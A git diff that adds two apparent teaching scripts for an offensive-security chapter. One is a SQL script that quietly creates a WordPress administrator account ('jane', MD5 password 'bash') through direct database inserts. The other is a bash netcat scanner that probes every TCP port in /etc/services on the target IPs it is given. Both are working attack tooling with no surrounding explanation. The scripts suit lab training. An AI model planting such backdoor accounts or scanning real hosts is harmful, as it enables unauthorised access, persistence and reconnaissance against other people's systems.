diff --git a/ch11/add_wordpress_admin.sql b/ch11/add_wordpress_admin.sql
new file mode 100644
index 0000000..2104b20
--- /dev/null
+++ b/ch11/add_wordpress_admin.sql
@@ -0,0 +1,7 @@
+use wordpress;
+
+INSERT INTO `wordpress`.`wp_users` (`ID`, `user_login`, `user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_activation_key`, `user_status`, `display_name`) VALUES ('3', 'jane', MD5('bash'), 'Jane', 'jane@example.com', 'http://www.example.com/', '2023-01-01 00:00:00', '', '0', 'Jane');
+
+INSERT INTO `wordpress`.`wp_usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, '3', 'wp_capabilities', 'a:1:{s:13:"administrator";s:1:"1";}');
+
+INSERT INTO `wordpress`.`wp_usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, '3', 'wp_user_level', '10');
diff --git a/ch11/port_scan_etc_services.sh b/ch11/port_scan_etc_services.sh
new file mode 100644
index 0000000..9e82a9d
--- /dev/null
+++ b/ch11/port_scan_etc_services.sh
@@ -0,0 +1,23 @@
+#!/bin/bash
+TARGETS=("$@")
+
+print_help(){
+  echo "Usage: ${0} <LIST OF IPS>"
+  echo "${0} 10.1.0.1 10.1.0.2 10.1.0.3"
+}
+
+if [[ ${#TARGETS[@]} -eq 0 ]]; then
+  echo "Must provide one or more IP addresses!"
+  print_help
+  exit 1
+fi
+
+for target in "${TARGETS[@]}"; do 
+  while read -r port; do
+    if timeout 1 nc -i 1 "${target}" -v "${port}" 2>&1 | grep -q "Connected to"; then
+      echo "IP: ${target}"
+      echo "Port: ${port}"
+      echo "Service: $(grep -w "${port}/tcp" /etc/services | awk '{print $1}')" 
+    fi
+  done < <(grep "/tcp" /etc/services | awk '{print $2}' | tr -d '/tcp')
+done
\ No newline at end of file